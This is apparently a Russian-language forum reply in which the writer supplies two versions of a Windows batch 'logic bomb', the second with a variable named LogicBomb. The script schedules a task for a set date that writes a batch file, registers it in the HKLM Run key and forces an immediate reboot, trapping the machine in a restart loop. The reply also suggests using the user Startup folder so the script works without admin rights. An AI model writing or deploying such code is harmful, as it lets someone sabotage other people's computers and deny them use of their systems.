Пробуй так
pause в конце добавь, будет ли ругаться на что
ну или так, если ты любишь красиво и переменные...
В общем должно работать, но твою команду с добавлением в автозагрузку через реестр наверное лучше заменить на добавление в пользовательскую папку автозагрузки. Иначе сработает только запуск от админа.
Код:
schtasks /create /tn "My Batnik" /tr %USERPROFILE%\AppData\Local\Temp\1.bat /sc once /sd 23/12/2016 /st 13:50
echo reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "1" /t REG_SZ /d "%USERPROFILE%\AppData\Local\Temp\1.bat" /f > %USERPROFILE%\AppData\Local\Temp\1.bat
echo shutdown.exe -r -f -t 00 >> %USERPROFILE%\AppData\Local\Temp\1.bat
ну или так, если ты любишь красиво и переменные...
Код:
Set LogicBomb=%USERPROFILE%\AppData\Local\Temp\1.bat
schtasks /create /tn "My Batnik" /tr %LogicBomb% /sc once /sd 23/12/2016 /st 13:50
echo reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "1" /t REG_SZ /d "%LogicBomb%" /f > %LogicBomb%
echo shutdown.exe -r -f -t 00 >> %LogicBomb%